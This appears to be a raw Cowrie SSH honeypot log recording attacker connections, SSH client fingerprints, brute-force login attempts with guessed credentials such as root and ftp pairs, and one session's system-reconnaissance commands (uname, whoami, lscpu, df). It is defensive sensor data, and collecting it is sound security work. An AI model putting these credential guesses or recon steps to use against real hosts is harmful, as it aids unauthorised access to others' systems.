{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.934428Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.016671Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.019828Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.057341Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.132908Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.136531Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.174850Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.245375Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.248770Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.286954Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.362749Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.366417Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.404102Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.481538Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.485388Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.523460Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.592594Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.595639Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.632545Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.706977Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.710597Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.750946Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.826850Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.829757Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.854457Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:43.859815Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:44.080088Z","src_ip":"182.180.57.212","session":"fb9f60fc07a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:51.146443Z","src_ip":"8.218.166.49","session":"f8c3fe29e19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":11657,"dst_ip":"10.17.0.5","dst_port":22,"session":"866206fd80db","protocol":"ssh","message":"New connection: 49.207.40.162:11657 (10.17.0.5:22) [session: 866206fd80db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:52.822846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:52.827598Z","src_ip":"49.207.40.162","session":"866206fd80db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:53.043757Z","src_ip":"49.207.40.162","session":"866206fd80db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53442,"dst_ip":"10.17.0.5","dst_port":22,"session":"326f2ebc2257","protocol":"ssh","message":"New connection: 8.218.166.49:53442 (10.17.0.5:22) [session: 326f2ebc2257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:53.565123Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"d2+k2d#k0","message":"login attempt [root/d2+k2d#k0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:53.938665Z","src_ip":"49.207.40.162","session":"866206fd80db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:55.160273Z","src_ip":"49.207.40.162","session":"866206fd80db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":42750,"dst_ip":"10.17.0.5","dst_port":22,"session":"2526a87ec518","protocol":"ssh","message":"New connection: 193.46.255.86:42750 (10.17.0.5:22) [session: 2526a87ec518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:55.229032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:55.233827Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:55.391828Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:55.934386Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:57.064669Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":40114,"dst_ip":"10.17.0.5","dst_port":22,"session":"f84eb0159a88","protocol":"ssh","message":"New connection: 14.63.196.175:40114 (10.17.0.5:22) [session: f84eb0159a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:57.545482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:57.551181Z","src_ip":"14.63.196.175","session":"f84eb0159a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:57.754883Z","src_ip":"14.63.196.175","session":"f84eb0159a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345","message":"login attempt [ftp/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:58.195462Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nowone","message":"login attempt [root/nowone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:58.602882Z","src_ip":"14.63.196.175","session":"f84eb0159a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:59.325677Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:59.614051Z","src_ip":"8.218.166.49","session":"d097a9a4bb30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:59.808906Z","src_ip":"14.63.196.175","session":"f84eb0159a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"abc123","message":"login attempt [ftp/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:00.462027Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:01.363612Z","src_ip":"8.218.166.49","session":"326f2ebc2257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:01.371675Z","src_ip":"8.218.166.49","session":"326f2ebc2257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:01.592834Z","src_ip":"193.46.255.86","session":"2526a87ec518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:06.480420Z","src_ip":"8.218.166.49","session":"052f223991a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":53636,"dst_ip":"10.17.0.5","dst_port":22,"session":"67da199c940b","protocol":"ssh","message":"New connection: 104.28.195.187:53636 (10.17.0.5:22) [session: 67da199c940b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:16.133232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:16.139256Z","src_ip":"104.28.195.187","session":"67da199c940b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:16.257485Z","src_ip":"104.28.195.187","session":"67da199c940b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d2+k2d#k0","message":"login attempt [root/d2+k2d#k0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:16.662953Z","src_ip":"104.28.195.187","session":"67da199c940b","protocol":"ssh"}
